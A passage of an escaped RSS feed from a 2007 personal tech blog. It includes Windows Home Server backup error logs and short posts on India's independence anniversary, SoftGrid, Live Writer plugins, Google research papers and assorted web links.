&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;46&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#46&#34;&gt;46&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;47&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#47&#34;&gt;47&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;48&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#48&#34;&gt;48&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;49&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#49&#34;&gt;49&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;50&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#50&#34;&gt;50&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;51&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#51&#34;&gt;51&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Event Type:    Error  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Event Source:    Application Error  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Event Category:    (100)  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Event ID:    1000  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Date:        25/08/2007  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Time:        02:57:39  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;User:        N/A  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Computer:    TRINITY  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Description:  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Faulting application whsbackup.exe, version 6.0.1424.2, faulting module whsbackup.exe, version 6.0.1424.2, fault address 0x00056e8e.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;For more information, see Help and Support Center at [http://go.microsoft.com/fwlink/events.asp](http://go.microsoft.com/fwlink/events.asp).  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Data:  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0000: 41 70 70 6c 69 63 61 74   Applicat  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0008: 69 6f 6e 20 46 61 69 6c   ion Fail  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0010: 75 72 65 20 20 77 68 73   ure  whs  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0018: 62 61 63 6b 75 70 2e 65   backup.e  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0020: 78 65 20 36 2e 30 2e 31   xe 6.0.1  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0028: 34 32 34 2e 32 20 69 6e   424.2 in  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0030: 20 77 68 73 62 61 63 6b    whsback  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0038: 75 70 2e 65 78 65 20 36   up.exe 6  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0040: 2e 30 2e 31 34 32 34 2e   .0.1424. 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0048: 32 20 61 74 20 6f 66 66   2 at off  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0050: 73 65 74 20 30 30 30 35   set 0005  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;0058: 36 65 38 65               6e8e   
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Event Type:    Error  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Event Source:    HomeServer  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Event Category:    Backup  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Event ID:    272  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Date:        25/08/2007  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Time:        02:56:47  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;User:        N/A  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Computer:    TRINITY  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Description:  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Unexpected error 0x45d from WriteFile on D:\\folders\\{00008086-058D-4C89-AB57-A7F909A47AB4}\\Data.4096.16.dat: The request could not be performed because of an I/O device error.
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;For more information, see Help and Support Center at [http://go.microsoft.com/fwlink/events.asp](http://go.microsoft.com/fwlink/events.asp).
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Event Type:    Error  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Event Source:    HomeServer  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Event Category:    Backup  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Event ID:    267  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Date:        25/08/2007  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Time:        02:56:47  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;User:        N/A  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Computer:    TRINITY  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Description:  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Client Backup server failed at d:\\qhsv1\_rc\\qhs\\src\\backup\\util\\diskfile.cpp(421)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;For more information, see Help and Support Center at [http://go.microsoft.com/fwlink/events.asp](http://go.microsoft.com/fwlink/events.asp).&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Happy Birthday</title>
      <link>/post/2007/08/happy-birthday/</link>
      <pubDate>Wed, 15 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/happy-birthday/</guid>
      <description>&lt;p&gt;Today India celebrates its 60th independence from the British Raj - Happy Birthday! So 5 more years to retirement? &lt;p&gt;

    &lt;img src=&#34;images/emotion-2.gif&#34; alt=&#34;Big Smile&#34;/&gt;

&lt;/p&gt;. Over the last 6 decades has had quite a ride. There has been a lot of talk about it lately here in the local media in UK along with &lt;a
	
		href = &#34;http://www.london.gov.uk/trafalgarsquare/events/tsf/index.jsp&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		many celebrations in London
	&lt;/span&gt;
&lt;/a&gt; (mostly to woo Indian business, Bollywood, etc).&lt;/p&gt;
&lt;p&gt;The BBC showed a very interesting documentary called &amp;ldquo;&lt;a
	
		href = &#34;http://www.bbc.co.uk/bbctwo/listings/programme.shtml?day=yesterday&amp;amp;service_id=4224&amp;amp;filename=20070814/20070814_2100_4224_25860_90&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Partition: The Day India Burned
	&lt;/span&gt;
&lt;/a&gt;&amp;rdquo; on the partition of India from the British colonial days in two states - India and Pakistan. I knew the partition was very painful with both my grandparents (maternal and paternal) having to move from Lahore (now in Pakistan) to India and the loss they had to entail - both financial and emotional. Over the years they had talked to me about it - but never in detail and watching this documentary brought tears to my eyes. Never has there been such a mass movement of refugees in the history of mankind - ever! One example which sticks to mind is the solid 50 mile long line of people - walking. If you can watch it I highly recommend the documentary.&lt;/p&gt;
&lt;p&gt;The Guardian has been running some interesting stories about the &lt;a
	
		href = &#34;http://www.guardian.co.uk/india/story/0,,2148921,00.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		two countries after 60 years
	&lt;/span&gt;
&lt;/a&gt; and had their complete G2 pullout section dedicated to India. And with headlines such as &amp;ldquo;&lt;em&gt;India is seen as a success story, while Pakistan is written off as a failed state and the hiding place of Osama bin Laden. What went wrong?&lt;/em&gt;&amp;rdquo; and &amp;ldquo;&lt;em&gt;India: This is the best place in the world to be born right now?&lt;/em&gt;&amp;rdquo; make it an interesting read. The also cover what the &lt;a
	
		href = &#34;http://www.guardian.co.uk/g2/story/0,,2148164,00.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		neighbors
	&lt;/span&gt;
&lt;/a&gt; think of India - &lt;a
	
		href = &#34;http://www.guardian.co.uk/g2/story/0,,2148170,00.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		both Pakistan
	&lt;/span&gt;
&lt;/a&gt; and &lt;a
	
		href = &#34;http://www.guardian.co.uk/g2/story/0,,2148169,00.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Bangladesh
	&lt;/span&gt;
&lt;/a&gt;. They also have a story on the best and worst times from families &lt;a
	
		href = &#34;http://www.guardian.co.uk/g2/story/0,,2148158,00.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		across the social divide
	&lt;/span&gt;
&lt;/a&gt;. And incase you were curious, no, they have not forgotten the &lt;a
	
		href = &#34;http://www.guardian.co.uk/g2/story/0,,2148162,00.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		cult of the sex goddess
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Guardian has &lt;a
	
		href = &#34;http://browse.guardian.co.uk/search/all/Guardian?lDim=N%3D4294965502%2B3093&amp;amp;search=India&amp;amp;No=10&amp;amp;year=2007&amp;amp;sitesearch-radio=guardian&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		more stories here
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4465&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>SoftGrid available on MSDN</title>
      <link>/post/2007/08/softgrid-available-on-msdn/</link>
      <pubDate>Tue, 14 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/softgrid-available-on-msdn/</guid>
      <description>&lt;p&gt;This is probably old news, but is new to me. I logged into MSDN to check something else out and saw that &lt;a
	
		href = &#34;http://www.microsoft.com/systemcenter/softgrid/default.mspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SoftGrid
	&lt;/span&gt;
&lt;/a&gt; is now available on MSDN. I have had the bits internally for some time, but now anyone with MSDN login can get it. &lt;p&gt;

    &lt;img src=&#34;images/emotion-1.gif&#34; alt=&#34;Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;If you have never heard or seen SoftGrid you would be quite amazed how powerful it is. Unlike most virtualization software which virtualizes OS&amp;rsquo;s (VMware, Virtual PC, etc.) SoftGrid virtualizes applications - so you have have multiple versions of the same application installed and running at the same time without conflicting with each other! Now I have not had a chance to play with this to see how it handles various dev related software like the debugger, various windows services, IIS, SQL Server, etc. but it sure works like a charm for &amp;ldquo;client app&amp;rsquo;s&amp;rdquo;. If you want to see more then check out &lt;a
	
		href = &#34;http://blogs.msdn.com/volkerw/archive/2007/05/02/getting-started-with-softgrid.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Getting Started with SoftGrid
	&lt;/span&gt;
&lt;/a&gt; and the &lt;a
	
		href = &#34;http://thelazyadmin.com/blogs/thelazyadmin/archive/2007/04/24/what-is-softgrid.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Lazy Admin&amp;rsquo;s What is SoftGrid
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/SoftGridavailableonMSDN_8887/image.png&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4461&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>iPhone on XP?</title>
      <link>/post/2007/08/iphone-on-xp/</link>
      <pubDate>Sun, 12 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/iphone-on-xp/</guid>
      <description>&lt;p&gt;LOL! &lt;a
	
		href = &#34;http://tim.bellette.net/archive/2007/08/06/ipone-xp.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		iPhone advertisements run XP
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4457&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Are you a &#34;IT Rockstar&#34;?</title>
      <link>/post/2007/08/are-you-a-it-rockstar/</link>
      <pubDate>Sat, 11 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/are-you-a-it-rockstar/</guid>
      <description>&lt;p&gt;&amp;hellip; apparently I am after being featured in &lt;a
	
		href = &#34;http://www.avanadeadvisor.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Avanade Advisor&amp;rsquo;s
	&lt;/span&gt;
&lt;/a&gt; [somewhat] &lt;a
	
		href = &#34;http://www.avanadeadvisor.com/videos/AVA_IT_RockStar.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		cheesy video
	&lt;/span&gt;
&lt;/a&gt;. 😏&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Call for WLW plugins</title>
      <link>/post/2007/08/call-for-wlw-plugins/</link>
      <pubDate>Sat, 11 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/call-for-wlw-plugins/</guid>
      <description>&lt;p&gt;Despite &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2007/03/18/windows-live-writer-dead.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		my skepticism
	&lt;/span&gt;
&lt;/a&gt; about not much happening on the WLW front, I do like it and use &lt;a
	
		href = &#34;http://desigeek.com/weblog/amit/archive/2007/06/03/windows-live-writer-beta-2-finally.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		it for blogging
	&lt;/span&gt;
&lt;/a&gt; and want to find out which &lt;a
	
		href = &#34;http://gallery.live.com/results.aspx?c=0&amp;amp;bt=9&amp;amp;pl=8&amp;amp;st=5&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		plugins
	&lt;/span&gt;
&lt;/a&gt; would you recommend. For example, which one to use for code? There is &lt;a
	
		href = &#34;http://gallery.live.com/liveItemDetail.aspx?li=1f57bd9b-a692-4593-9e9e-e2962d9c0eee&amp;amp;bt=9&amp;amp;pl=8&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Insert Code for WLW
	&lt;/span&gt;
&lt;/a&gt;, &lt;a
	
		href = &#34;http://gallery.live.com/liveItemDetail.aspx?li=d8835a5e-28da-4242-82eb-e1a006b083b9&amp;amp;bt=9&amp;amp;pl=8&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Paste from VS
	&lt;/span&gt;
&lt;/a&gt;, &lt;a
	
		href = &#34;http://gallery.live.com/liveItemDetail.aspx?li=90429f7b-39e5-4210-a6e6-aed0e67412f0&amp;amp;bt=9&amp;amp;pl=8&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Insert Formatted Clipboard
	&lt;/span&gt;
&lt;/a&gt;, etc.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4448&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Google Papers</title>
      <link>/post/2007/08/google-papers/</link>
      <pubDate>Sat, 11 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/google-papers/</guid>
      <description>&lt;p&gt;Got time to kill (maybe you have a 4 hour commute like I recently started) and want to tickle that brain of yours? Still reading, then check out &lt;a
	
		href = &#34;http://labs.google.com/papers.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Google Papers
	&lt;/span&gt;
&lt;/a&gt;. Of course some of the papers have been quite publicized such as the failure trends for HDDs. But there are many more interesting ones such as the &lt;a
	
		href = &#34;http://64.233.179.110/blog_resources/PSU_white_paper.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		High-efficiency power supplies for home computers and servers
	&lt;/span&gt;
&lt;/a&gt; or &lt;a
	
		href = &#34;http://labs.google.com/papers/mapreduce-osdi04.pdf&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		MapReduce, an abstraction for large-scale computation
	&lt;/span&gt;
&lt;/a&gt; which essentially is a programming model for generating and processing large data sets with many terabytes of data and thousands of machines. Happy Reading!&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=4452&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Microsoft vs IBM</title>
      <link>/post/2007/08/microsoft-vs-ibm/</link>
      <pubDate>Sat, 11 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/microsoft-vs-ibm/</guid>
      <description>&lt;p&gt;Both Microsoft and IBM are &lt;a
	
		href = &#34;http://blogs.msdn.com/dotnetinterop/archive/2007/08/09/fact-check-ibm-s-steve-mills-claims-on-ms-and-soa.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		dueling it out in the cyberspace
	&lt;/span&gt;
&lt;/a&gt; over SOA - reminds me of the hay days just before the .com boom started back in the bay area. 😄&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #5</title>
      <link>/post/2007/08/interesting-find-5/</link>
      <pubDate>Fri, 10 Aug 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/08/interesting-find-5/</guid>
      <description>&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.microsoft.com/downloads/details.aspx?FamilyID=cb2a8e49-bb3b-49b6-b296-a2dfbbe042d8&amp;amp;DisplayLang=en#filelist&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SOA in the Real World
	&lt;/span&gt;
&lt;/a&gt; - Microsoft&amp;rsquo;s eBook for free; alternatively go and &lt;a
	
		href = &#34;http://www.apress.com/author/authorDisplay.html?aID=913&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		buy my book
	&lt;/span&gt;
&lt;/a&gt;. 😜&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.pownce.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Pownce
	&lt;/span&gt;
&lt;/a&gt; is a way to send messages, files, links, and events to your friends.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://skydrive.live.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Microsoft SkyDrive
	&lt;/span&gt;
&lt;/a&gt; now open to public beta, giving 500 mb of space; but not sure why you would use that when &lt;a
	
		href = &#34;http://mozy.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Mozy
	&lt;/span&gt;
&lt;/a&gt; gives you unlimited online backup for $5/month (which is about £2.50 / month - cheaper than a cup of &lt;a
	
		href = &#34;http://www.flat-white.co.uk/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Flat White coffee
	&lt;/span&gt;
&lt;/a&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://rakf1.blogspot.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		F1 Calendar and Track
	&lt;/span&gt;
&lt;/a&gt; mashup.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.wikimapia.org&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Wikimapia
	&lt;/span&gt;
&lt;/a&gt; - hopefully the name says it all; here is &lt;a
	
		href = &#34;http://www.wikimapia.org/#y=20179724&amp;amp;x=78398438&amp;amp;amp;amp;amp;amp;z=5&amp;amp;l=0&amp;amp;m=h&amp;amp;v=2&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Delhi
	&lt;/span&gt;
&lt;/a&gt; for example.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Speaking of Delhi, you might also want to do some &lt;a
	
		href = &#34;http://www.satellite-sightseer.com/country/India&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		sightseeing with google maps
	&lt;/span&gt;
&lt;/a&gt;; for example here is one amazing place &lt;a
	
		href = &#34;http://www.satellite-sightseer.com/id/4935/India//Deolali/Deolali&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		called Deolali
	&lt;/span&gt;
&lt;/a&gt; where I have spend a few years.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.theinquirer.net/default.aspx?article=41261&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		External Bit Torrent hard drive
	&lt;/span&gt;
&lt;/a&gt; - though I won&amp;rsquo;t know why you would need one?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.jotle.com&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Jotle
	&lt;/span&gt;
&lt;/a&gt; lets you zoom into various parts of the world and see map points for Wikimapia and Placeopedia.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Not only do we we get to see the final &lt;a
	
		href = &#34;http://blogs.msdn.com/bharry/archive/2007/08/08/final-tfs-2008-feature-list.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TFS 2008 features
	&lt;/span&gt;
&lt;/a&gt; list, but P&amp;amp;P guys also release &lt;a
	
		href = &#34;http://www.codeplex.com/TFSGuide&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		TFS Guide
	&lt;/span&gt;
&lt;/a&gt; and the first &lt;a
	
		href = &#34;http://blogs.msdn.com/jeffbe/archive/2007/08/03/first-rosario-ctp-now-available.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
